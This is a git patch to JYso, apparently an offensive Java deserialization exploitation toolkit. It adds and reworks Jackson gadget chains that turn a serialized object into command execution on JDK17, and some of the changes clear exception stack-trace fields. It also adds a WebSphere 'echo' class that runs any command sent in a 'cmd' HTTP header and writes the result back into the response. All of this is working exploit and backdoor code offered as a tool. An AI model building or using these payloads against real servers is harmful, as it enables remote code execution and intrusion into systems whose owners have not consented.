From 86777b0166bc5a993f37e7a43e429623d9ffa88e Mon Sep 17 00:00:00 2001 From: qi4L Date: Sun, 19 Oct 2025 10:14:45 +0800 Subject: [PATCH] =?UTF-8?q?feat:=20jackson4=E9=93=BE=E6=98=AFjackson1?= =?UTF-8?q?=E9=93=BE=E6=94=B9jdk17?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../JYso/controllers/BasicController.java | 4 +- .../controllers/ELProcessorController.java | 2 +- .../java/com/qi4l/JYso/gadgets/C3P0JDBC.java | 2 +- .../java/com/qi4l/JYso/gadgets/C3P0JNDI.java | 2 +- .../java/com/qi4l/JYso/gadgets/C3P0JNDI2.java | 2 +- .../java/com/qi4l/JYso/gadgets/Fastjson2.java | 1 - .../java/com/qi4l/JYso/gadgets/Groovy2.java | 2 +- .../com/qi4l/JYso/gadgets/Hibernate3JDBC.java | 2 +- .../java/com/qi4l/JYso/gadgets/JDKUtil.java | 8 +-- .../java/com/qi4l/JYso/gadgets/Jackson1.java | 18 ++++-- .../java/com/qi4l/JYso/gadgets/Jackson2.java | 18 ++++-- .../java/com/qi4l/JYso/gadgets/Jackson3.java | 62 ++++++++++--------- .../java/com/qi4l/JYso/gadgets/Jackson4.java | 40 ++++++++++++ .../qi4l/JYso/gadgets/annotation/Authors.java | 6 +- src/main/java/com/qi4l/JYso/gadgets/cc13.java | 2 +- .../java/com/qi4l/JYso/gadgets/cc4_17.java | 2 +- .../com/qi4l/JYso/gadgets/utils/InjShell.java | 47 ++------------ .../qi4l/JYso/gadgets/utils/Reflections.java | 5 ++ .../template/echoConstructor/CTomcatEcho.java | 5 ++ .../echoConstructor/CwebsphereEcho.java | 44 +++++++++++++ 20 files changed, 174 insertions(+), 100 deletions(-) create mode 100644 src/main/java/com/qi4l/JYso/gadgets/Jackson4.java create mode 100644 src/main/java/com/qi4l/JYso/template/echoConstructor/CwebsphereEcho.java diff --git a/src/main/java/com/qi4l/JYso/controllers/BasicController.java b/src/main/java/com/qi4l/JYso/controllers/BasicController.java index accd7c6..de1193d 100644 --- a/src/main/java/com/qi4l/JYso/controllers/BasicController.java +++ b/src/main/java/com/qi4l/JYso/controllers/BasicController.java @@ -120,8 +120,8 @@ public class BasicController implements LdapController { String[] results1 = Util.getIPAndPortFromBase(base); Config.rhost = results1[0]; Config.rport = results1[1]; - System.out.println("[+] RemotHost: " + results1[0]); - System.out.println("[+] RemotPort: " + results1[1]); + System.out.println(" RemotHost: " + results1[0]); + System.out.println(" RemotPort: " + results1[1]); params = results1; } } catch (Exception e) { diff --git a/src/main/java/com/qi4l/JYso/controllers/ELProcessorController.java b/src/main/java/com/qi4l/JYso/controllers/ELProcessorController.java index 8a01b28..f5943f8 100644 --- a/src/main/java/com/qi4l/JYso/controllers/ELProcessorController.java +++ b/src/main/java/com/qi4l/JYso/controllers/ELProcessorController.java @@ -55,7 +55,7 @@ public class ELProcessorController implements LdapController { jscode = helper.getExecCode(params[0]); } - if (payloadType.contains("meterpreter")) { + if (payloadType.contains("msf")) { jscode = helper.injectMeterpreter(); } diff --git a/src/main/java/com/qi4l/JYso/gadgets/C3P0JDBC.java b/src/main/java/com/qi4l/JYso/gadgets/C3P0JDBC.java index 559245b..3504572 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/C3P0JDBC.java +++ b/src/main/java/com/qi4l/JYso/gadgets/C3P0JDBC.java @@ -10,7 +10,7 @@ import java.lang.reflect.Field; import java.util.HashMap; @Dependencies({"com.mchange:c3p0:0.9.5.2", "com.alibaba.fastjson:com.alibaba.fastjson1.X"}) -@Authors({Authors.Unam4}) +@Authors({Authors.UNAM4}) public class C3P0JDBC implements ObjectPayload { //private static String cmd = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER shell3 BEFORE SELECT ON\n" + // "INFORMATION_SCHEMA.TABLES AS $$//javascript\n" + diff --git a/src/main/java/com/qi4l/JYso/gadgets/C3P0JNDI.java b/src/main/java/com/qi4l/JYso/gadgets/C3P0JNDI.java index 0d664cb..e08059e 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/C3P0JNDI.java +++ b/src/main/java/com/qi4l/JYso/gadgets/C3P0JNDI.java @@ -10,7 +10,7 @@ import java.lang.reflect.Field; import java.util.HashMap; @Dependencies({"com.mchange:c3p0:0.9.5.2", "com.alibaba.fastjson:com.alibaba.fastjson1.X"}) -@Authors({Authors.Unam4}) +@Authors({Authors.UNAM4}) public class C3P0JNDI implements ObjectPayload { @Override public Object getObject(String command) throws Exception { diff --git a/src/main/java/com/qi4l/JYso/gadgets/C3P0JNDI2.java b/src/main/java/com/qi4l/JYso/gadgets/C3P0JNDI2.java index e40b8d5..d4e4a02 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/C3P0JNDI2.java +++ b/src/main/java/com/qi4l/JYso/gadgets/C3P0JNDI2.java @@ -10,7 +10,7 @@ import java.lang.reflect.Field; import java.util.HashMap; @Dependencies({"com.mchange:c3p0:0.9.5.2", "com.alibaba.fastjson:com.alibaba.fastjson1.X"}) -@Authors({Authors.Unam4}) +@Authors({Authors.UNAM4}) public class C3P0JNDI2 implements ObjectPayload { @Override public Object getObject(String command) throws Exception { diff --git a/src/main/java/com/qi4l/JYso/gadgets/Fastjson2.java b/src/main/java/com/qi4l/JYso/gadgets/Fastjson2.java index de4a158..6d8ee9d 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/Fastjson2.java +++ b/src/main/java/com/qi4l/JYso/gadgets/Fastjson2.java @@ -25,7 +25,6 @@ public class Fastjson2 implements ObjectPayload { final Object templates; templates = Gadgets.createTemplatesImpl(command); - JSONArray jsonArray = new JSONArray(); jsonArray.add(templates); diff --git a/src/main/java/com/qi4l/JYso/gadgets/Groovy2.java b/src/main/java/com/qi4l/JYso/gadgets/Groovy2.java index 090cc11..bf2a64d 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/Groovy2.java +++ b/src/main/java/com/qi4l/JYso/gadgets/Groovy2.java @@ -9,7 +9,7 @@ import org.codehaus.groovy.runtime.MethodClosure; import javax.management.BadAttributeValueExpException; @Dependencies({"org.codehaus.groovy:groovy <2.4.3"}) -@Authors({Authors.Unam4}) +@Authors({Authors.UNAM4}) public class Groovy2 implements ObjectPayload { @Override public Object getObject(String command) throws Exception { diff --git a/src/main/java/com/qi4l/JYso/gadgets/Hibernate3JDBC.java b/src/main/java/com/qi4l/JYso/gadgets/Hibernate3JDBC.java index d75df03..b566e1e 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/Hibernate3JDBC.java +++ b/src/main/java/com/qi4l/JYso/gadgets/Hibernate3JDBC.java @@ -16,7 +16,7 @@ import javax.management.BadAttributeValueExpException; import static com.qi4l.JYso.gadgets.utils.InjShell.insertField; @Dependencies({" org.hibernate.hibernate-core:hibernate-core <= 4.1.12.Fina","com.alibaba.fastjson:com.alibaba.fastjson 1.X"}) -@Authors({Authors.Unam4}) +@Authors({Authors.UNAM4}) public class Hibernate3JDBC implements ObjectPayload, DynamicDependencies { @Override public Object getObject(String command) throws Exception { diff --git a/src/main/java/com/qi4l/JYso/gadgets/JDKUtil.java b/src/main/java/com/qi4l/JYso/gadgets/JDKUtil.java index 899eb03..bf5b3e7 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/JDKUtil.java +++ b/src/main/java/com/qi4l/JYso/gadgets/JDKUtil.java @@ -147,8 +147,7 @@ public class JDKUtil { } - public static Enumeration makeBindingEnumeration ( String codebase, String clazz ) throws ClassNotFoundException, NoSuchMethodException, - InstantiationException, IllegalAccessException, InvocationTargetException, Exception, NamingException, RemoteException { + public static Enumeration makeBindingEnumeration ( String codebase, String clazz ) throws Exception { Class cl = Class.forName("com.sun.jndi.rmi.registry.BindingEnumeration"); Object enu = Reflections.createWithoutConstructor(cl); Reflections.setFieldValue(enu, "ctx", makeRegistryContext(makeRegistryImpl(codebase, clazz))); @@ -160,7 +159,7 @@ public class JDKUtil { } - private static Object makeRegistryImpl ( String codebase, String clazz ) throws IllegalArgumentException, Exception { + private static Object makeRegistryImpl ( String codebase, String clazz ) throws Exception { Class regcl = Class.forName("sun.management.jmxremote.SingleEntryRegistry"); Object reg = Reflections.createWithoutConstructor(regcl); Reflections.setFieldValue(reg, "name", "exp"); @@ -183,8 +182,7 @@ public class JDKUtil { } - private static Object makeRegistryContext ( Object regi ) throws ClassNotFoundException, NoSuchMethodException, InstantiationException, - IllegalAccessException, InvocationTargetException, Exception { + private static Object makeRegistryContext ( Object regi ) throws Exception { Class regctxcl = Class.forName("com.sun.jndi.rmi.registry.RegistryContext"); Object regctx = Reflections.createWithoutConstructor(regctxcl); Reflections.setFieldValue(regctx, "registry", regi); diff --git a/src/main/java/com/qi4l/JYso/gadgets/Jackson1.java b/src/main/java/com/qi4l/JYso/gadgets/Jackson1.java index cf4f9e9..bf6daa8 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/Jackson1.java +++ b/src/main/java/com/qi4l/JYso/gadgets/Jackson1.java @@ -10,13 +10,15 @@ import javassist.CtMethod; import javax.management.BadAttributeValueExpException; import java.util.HashMap; +import static com.qi4l.JYso.gadgets.utils.Reflections.setFieldValue; + // 在触发 getter 的时候是以随机顺序触发的,所以概率打空 public class Jackson1 implements ObjectPayload { @Override public Object getObject(String command) throws Exception { - final Object template; - template = Gadgets.createTemplatesImpl(command); + final Object tempImpl; + tempImpl = Gadgets.createTemplatesImpl(command); try { CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode"); @@ -27,13 +29,17 @@ public class Jackson1 implements ObjectPayload { } - POJONode node = new POJONode(template); + POJONode node = new POJONode(tempImpl); - BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null); - Reflections.setFieldValue(badAttributeValueExpException, "val", node); + BadAttributeValueExpException val = new BadAttributeValueExpException(null); + setFieldValue(val, "val", node); + //清除堆栈信息 + setFieldValue(val, "stackTrace", new StackTraceElement[0]); + setFieldValue(val, "cause", null); + setFieldValue(val, "suppressedExceptions", null); HashMap hashMap = new HashMap(); - hashMap.put(template, badAttributeValueExpException); + hashMap.put(tempImpl, val); return hashMap; } diff --git a/src/main/java/com/qi4l/JYso/gadgets/Jackson2.java b/src/main/java/com/qi4l/JYso/gadgets/Jackson2.java index 4a18535..8164088 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/Jackson2.java +++ b/src/main/java/com/qi4l/JYso/gadgets/Jackson2.java @@ -7,6 +7,7 @@ import javassist.ClassPool; import javassist.CtClass; import javassist.CtMethod; import org.springframework.aop.framework.AdvisedSupport; + import java.lang.reflect.Constructor; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Proxy; @@ -14,6 +15,8 @@ import javax.xml.transform.Templates; import javax.management.BadAttributeValueExpException; +import static com.qi4l.JYso.gadgets.utils.Reflections.setFieldValue; + public class Jackson2 implements ObjectPayload { public static Object makeTemplatesImplAopProxy(String cmd) throws Exception { AdvisedSupport advisedSupport = new AdvisedSupport(); @@ -21,22 +24,27 @@ public class Jackson2 implements ObjectPayload { Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class); constructor.setAccessible(true); InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport); - Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Templates.class}, handler); + Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Templates.class}, handler); return proxy; } public Object getObject(final String command) throws Exception { + try { - CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode"); + CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode"); CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace"); ctClass.removeMethod(writeReplace); ctClass.toClass(); } catch (Exception EE) { } - POJONode node = new POJONode(makeTemplatesImplAopProxy(command)); - BadAttributeValueExpException val = new BadAttributeValueExpException(null); - Reflections.setFieldValue(val, "val", node); + POJONode node = new POJONode(makeTemplatesImplAopProxy(command)); + BadAttributeValueExpException val = new BadAttributeValueExpException(null); + setFieldValue(val, "val", node); + //清除堆栈信息 + setFieldValue(val, "stackTrace", new StackTraceElement[0]); + setFieldValue(val, "cause", null); + setFieldValue(val, "suppressedExceptions", null); return val; } } diff --git a/src/main/java/com/qi4l/JYso/gadgets/Jackson3.java b/src/main/java/com/qi4l/JYso/gadgets/Jackson3.java index 8ec3143..927c171 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/Jackson3.java +++ b/src/main/java/com/qi4l/JYso/gadgets/Jackson3.java @@ -1,11 +1,11 @@ package com.qi4l.JYso.gadgets; import com.fasterxml.jackson.databind.node.POJONode; +import com.qi4l.JYso.gadgets.annotation.Authors; +import com.qi4l.JYso.gadgets.annotation.Dependencies; import com.qi4l.JYso.gadgets.utils.SuClassLoader; import com.qi4l.JYso.gadgets.utils.Gadgets; -import com.qi4l.JYso.gadgets.utils.jdk17Bypass; -import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import javassist.ClassClassPath; import org.springframework.aop.framework.AdvisedSupport; @@ -15,7 +15,6 @@ import javassist.CtClass; import javassist.CtMethod; import org.springframework.aop.framework.AdvisorChainFactory; -import javax.swing.event.EventListenerList; import javax.xml.transform.Templates; import java.lang.reflect.Constructor; @@ -23,26 +22,31 @@ import java.lang.reflect.InvocationHandler; import java.lang.reflect.Proxy; import java.lang.reflect.*; -import java.util.ArrayList; import java.util.Vector; import static com.qi4l.JYso.gadgets.Config.Config.POOL; import static com.qi4l.JYso.gadgets.utils.InjShell.insertField; +//Jackson2链的JDK17改造 +@Dependencies({"spring-apo:6.2.10"}) +@Authors({Authors.JSJCW}) public class Jackson3 implements ObjectPayload { public static Object makeTemplatesImplAopProxy(String cmd) throws Exception { AdvisedSupport advisedSupport = new AdvisedSupport(); advisedSupport.setTarget(Gadgets.createTemplatesImpl(cmd)); - POOL.insertClassPath(new ClassClassPath(Class.forName("org.springframework.aop.framework.DefaultAdvisorChainFactory"))); - final CtClass ctDefaultAdvisorChainFactory = POOL.get("org.springframework.aop.framework.DefaultAdvisorChainFactory"); - insertField(ctDefaultAdvisorChainFactory, "serialVersionUID", "private static final long serialVersionUID = 273003553246259276L;"); - Object cFactory = ctDefaultAdvisorChainFactory.toClass(new SuClassLoader()).newInstance(); + //<=6.0.23为6115154060221772279 + //>=6.1.0 为273003553246259276 + String sUID = "6115154060221772279"; + CtClass ctDefaultAdvisorChainFactory = insertField( + "org.springframework.aop.framework.DefaultAdvisorChainFactory", + "private static final long serialVersionUID = " + sUID + "L;"); - advisedSupport.setAdvisorChainFactory((AdvisorChainFactory) cFactory); + Object ctFactory = ctDefaultAdvisorChainFactory.toClass(new SuClassLoader()).newInstance(); + advisedSupport.setAdvisorChainFactory((AdvisorChainFactory) ctFactory); - Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class); + Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class); constructor.setAccessible(true); InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport); Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Templates.class}, handler); @@ -51,16 +55,16 @@ public class Jackson3 implements ObjectPayload { } public static Object getEventListenerList(Object obj) throws Exception { - //EventListenerList list = new EventListenerList(); - POOL.insertClassPath(new ClassClassPath(Class.forName("javax.swing.event.EventListenerList"))); - final CtClass ctEventListenerList = POOL.get("javax.swing.event.EventListenerList"); - insertField(ctEventListenerList, "serialVersionUID", "private static final long serialVersionUID = -7977902244297240866L;"); + //>=6.1.0 为-7977902244297240866 + //<=6.0.23为 + CtClass ctEventListenerList = insertField( + "javax.swing.event.EventListenerList", "private static final long serialVersionUID = -7977902244297240866L;"); Object list = ctEventListenerList.toClass(new SuClassLoader()).newInstance(); - //UndoManager undomanager = new UndoManager(); - POOL.insertClassPath(new ClassClassPath(Class.forName("javax.swing.undo.UndoManager"))); - final CtClass ctUndoManager = POOL.get("javax.swing.undo.UndoManager"); - insertField(ctUndoManager, "serialVersionUID", "private static final long serialVersionUID = -1045223116463488483L;"); + //>=6.1.0 为-1045223116463488483 + //<=6.0.23为 + CtClass ctUndoManager = insertField( + "javax.swing.undo.UndoManager", "private static final long serialVersionUID = -1045223116463488483L;"); Object undomanager = ctUndoManager.toClass(new SuClassLoader()).newInstance(); //取出UndoManager类的父类CompoundEdit类的edits属性里的vector对象，并把需要触发toString的类add进去。 @@ -98,25 +102,23 @@ public class Jackson3 implements ObjectPayload { CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace"); ctClass.removeMethod(writeReplace); ctClass.toClass(); - } catch (Exception EE) { + } catch (Exception ignored) { } - ArrayList classes = new ArrayList<>(); - classes.add(TemplatesImpl.class); - classes.add(POJONode.class); - classes.add(EventListenerList.class); - classes.add(Jackson3.class); - classes.add(Field.class); - classes.add(Method.class); - new jdk17Bypass().bypassModule(classes); + //ArrayList classes = new ArrayList<>(); + //classes.add(TemplatesImpl.class); + //classes.add(POJONode.class); + //classes.add(EventListenerList.class); + //classes.add(Jackson3.class); + //classes.add(Field.class); + //classes.add(Method.class); + //new jdk17Bypass().bypassModule(classes); POJONode node = new POJONode(makeTemplatesImplAopProxy(command)); - Object eventListenerList = getEventListenerList(node); - - return eventListenerList; + return getEventListenerList(node); } diff --git a/src/main/java/com/qi4l/JYso/gadgets/Jackson4.java b/src/main/java/com/qi4l/JYso/gadgets/Jackson4.java new file mode 100644 index 0000000..7548c8b --- /dev/null +++ b/src/main/java/com/qi4l/JYso/gadgets/Jackson4.java @@ -0,0 +1,40 @@ +package com.qi4l.JYso.gadgets; + +import com.fasterxml.jackson.databind.node.POJONode; +import com.sun.org.apache.xpath.internal.objects.XObject; +import com.sun.org.apache.xpath.internal.objects.XString; +import javassist.ClassPool; +import javassist.CtClass; +import javassist.CtMethod; + +import java.util.HashMap; + +import static com.qi4l.JYso.gadgets.JDKUtil.makeMap; +import static com.qi4l.JYso.gadgets.Jackson3.makeTemplatesImplAopProxy; + + +//Jackson1链的JDK17改造 +public class Jackson4 implements ObjectPayload { + @Override + public Object getObject(String command) throws Exception { + try { + CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode"); + CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace"); + ctClass.removeMethod(writeReplace); + ctClass.toClass(); + } catch (Exception ignored) { + + } + + POJONode node = new POJONode(makeTemplatesImplAopProxy(command)); + XObject xString = new XString("foo"); + HashMap map1 = new HashMap(); + HashMap map2 = new HashMap(); + map1.put("yy", node); + map1.put("zZ", xString); + map2.put("yy", xString); + map2.put("zZ", node); + HashMap hashmap = makeMap(map1, map2); + return hashmap; + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/annotation/Authors.java b/src/main/java/com/qi4l/JYso/gadgets/annotation/Authors.java index 549abec..bfa5da6 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/annotation/Authors.java +++ b/src/main/java/com/qi4l/JYso/gadgets/annotation/Authors.java @@ -52,8 +52,10 @@ public @interface Authors { String KILLER = "killer"; - String Unam4 = "Unam4"; - String Jiecub3 = "jiecub3"; + String UNAM4 = "Unam4"; + String JIECUB3 = "jiecub3"; + + String JSJCW = "jsjcw"; String[] value() default {}; diff --git a/src/main/java/com/qi4l/JYso/gadgets/cc13.java b/src/main/java/com/qi4l/JYso/gadgets/cc13.java index 3d2a1bc..d3d32d8 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/cc13.java +++ b/src/main/java/com/qi4l/JYso/gadgets/cc13.java @@ -15,7 +15,7 @@ import java.util.HashMap; import java.util.Map; @Dependencies({"commons-collections:commons-collections:3.1"}) -@Authors({Authors.Unam4}) +@Authors({Authors.UNAM4}) public class cc13 implements ObjectPayload { @Override public Object getObject(String command) throws Exception { diff --git a/src/main/java/com/qi4l/JYso/gadgets/cc4_17.java b/src/main/java/com/qi4l/JYso/gadgets/cc4_17.java index 3c1ade0..6202476 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/cc4_17.java +++ b/src/main/java/com/qi4l/JYso/gadgets/cc4_17.java @@ -14,7 +14,7 @@ import static com.qi4l.JYso.gadgets.utils.jdk17Bypass.patchModule; @SuppressWarnings({"rawtypes", "unchecked"}) -@Authors({Authors.Jiecub3}) +@Authors({Authors.JIECUB3}) public class cc4_17 implements ObjectPayload { @Override public Object getObject(String command) throws Exception { diff --git a/src/main/java/com/qi4l/JYso/gadgets/utils/InjShell.java b/src/main/java/com/qi4l/JYso/gadgets/utils/InjShell.java index d785069..32f209a 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/utils/InjShell.java +++ b/src/main/java/com/qi4l/JYso/gadgets/utils/InjShell.java @@ -8,10 +8,10 @@ import org.apache.commons.cli.CommandLineParser; import org.apache.commons.cli.DefaultParser; import org.apache.commons.cli.Options; -import java.lang.reflect.Field; import java.util.Arrays; import java.util.List; +import static com.qi4l.JYso.gadgets.Config.Config.POOL; import static com.qi4l.JYso.gadgets.Config.MemShellPayloads.*; import static com.qi4l.JYso.gadgets.utils.HexUtils.generatePassword; @@ -241,48 +241,13 @@ public class InjShell { ctClass.addField(CtField.make(fieldCode, ctClass)); } - public static void TinsertWinAgent(CtClass ctClass) throws Exception { - List classes = new java.util.ArrayList<>(Arrays.asList(ctClass.getInterfaces())); - classes.add(ctClass.getSuperclass()); - - String className = null; - for (CtClass value : classes) { - className = value.getName(); - if (Config.KEY_METHOD_MAP.containsKey(className)) { - break; - } - } - - byte[] bytes = ctClass.toBytecode(); - Class ctClazz = Class.forName("com.qi4l.JYso.template.Agent.WinMenshell"); - Field WinClassName = ctClazz.getDeclaredField("className"); - WinClassName.setAccessible(true); - WinClassName.set(ctClazz, className); - Field WinclassBody = ctClazz.getDeclaredField("classBody"); - WinclassBody.setAccessible(true); - WinclassBody.set(ctClazz, bytes); + public static CtClass insertField(String fieldName, String fieldCode) throws Exception { + POOL.insertClassPath(new ClassClassPath(Class.forName(fieldName))); + final CtClass ctClass = POOL.get(fieldName); + insertField(ctClass, fieldName, fieldCode); + return ctClass; } - public static void TinsertLinAgent(CtClass ctClass) throws Exception { - List classes = new java.util.ArrayList<>(Arrays.asList(ctClass.getInterfaces())); - classes.add(ctClass.getSuperclass()); - - String className = null; - for (CtClass value : classes) { - className = value.getName(); - if (Config.KEY_METHOD_MAP.containsKey(className)) { - break; - } - } - byte[] bytes = ctClass.toBytecode(); - Class ctClazz = Class.forName("com.qi4l.JYso.template.Agent.LinMenshell"); - Field LinClassName = ctClazz.getDeclaredField("className"); - LinClassName.setAccessible(true); - LinClassName.set(ctClazz, className); - Field LinclassBody = ctClazz.getDeclaredField("classBody"); - LinclassBody.setAccessible(true); - LinclassBody.set(ctClazz, bytes); - } //类加载方式，因类而异 diff --git a/src/main/java/com/qi4l/JYso/gadgets/utils/Reflections.java b/src/main/java/com/qi4l/JYso/gadgets/utils/Reflections.java index 5bf01ca..a867509 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/utils/Reflections.java +++ b/src/main/java/com/qi4l/JYso/gadgets/utils/Reflections.java @@ -1,10 +1,15 @@ package com.qi4l.JYso.gadgets.utils; import com.nqzero.permit.Permit; +import javassist.ClassClassPath; +import javassist.CtClass; import sun.reflect.ReflectionFactory; import java.lang.reflect.*; +import static com.qi4l.JYso.gadgets.Config.Config.POOL; +import static com.qi4l.JYso.gadgets.utils.InjShell.insertField; + @SuppressWarnings("restriction") public class Reflections extends ClassLoader { diff --git a/src/main/java/com/qi4l/JYso/template/echoConstructor/CTomcatEcho.java b/src/main/java/com/qi4l/JYso/template/echoConstructor/CTomcatEcho.java index c3ea9be..4660b27 100644 --- a/src/main/java/com/qi4l/JYso/template/echoConstructor/CTomcatEcho.java +++ b/src/main/java/com/qi4l/JYso/template/echoConstructor/CTomcatEcho.java @@ -1,5 +1,10 @@ package com.qi4l.JYso.template.echoConstructor; +import sun.misc.Unsafe; + +import java.lang.reflect.Field; + +// 回显类在jdk17下的改造，解决JDK17下只能加载一次的问题 public class CTomcatEcho { public static String CMD_HEADER; diff --git a/src/main/java/com/qi4l/JYso/template/echoConstructor/CwebsphereEcho.java b/src/main/java/com/qi4l/JYso/template/echoConstructor/CwebsphereEcho.java new file mode 100644 index 0000000..02356ac --- /dev/null +++ b/src/main/java/com/qi4l/JYso/template/echoConstructor/CwebsphereEcho.java @@ -0,0 +1,44 @@ +package com.qi4l.JYso.template.echoConstructor; + +import java.io.OutputStream; + +import static com.qi4l.JYso.gadgets.Jackson3.getFieldValue; + +public class CwebsphereEcho { + + public CwebsphereEcho() { + try { + Class clazz = Thread.currentThread().getClass(); + java.lang.reflect.Field field = clazz.getDeclaredField("wsThreadLocals"); + field.setAccessible(true); + Object obj = field.get(Thread.currentThread()); + + Object[] obj_arr = (Object[]) obj; + for (int i = 0; i < obj_arr.length; i++) { + Object o = obj_arr[i]; + if (o == null) continue; + + if (o.getClass().getName().endsWith("WebContainerRequestState")) { + Object req = o.getClass().getMethod("getCurrentThreadsIExtendedRequest", new Class[0]).invoke(o, new Object[0]); + Object resp = o.getClass().getMethod("getCurrentThreadsIExtendedResponse", new Class[0]).invoke(o, new Object[0]); + + String cmd = (String) req.getClass().getMethod("getHeader", new Class[]{String.class}).invoke(req, new Object[]{"cmd"}); + if (cmd != null && !cmd.isEmpty()) { + String res = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next(); + + //java.io.PrintWriter printWriter = (java.io.PrintWriter) resp.getClass().getMethod("getWriter", new Class[0]).invoke(resp, new Object[0]); + //printWriter.println(res); + + // 解决只读一次的问题 + OutputStream outputStream = (OutputStream) getFieldValue(resp, "_bufferedOut"); + outputStream.flush(); + outputStream.write(res.getBytes()); + } + + break; + } + } + } catch (Exception ignored) { + } + } +}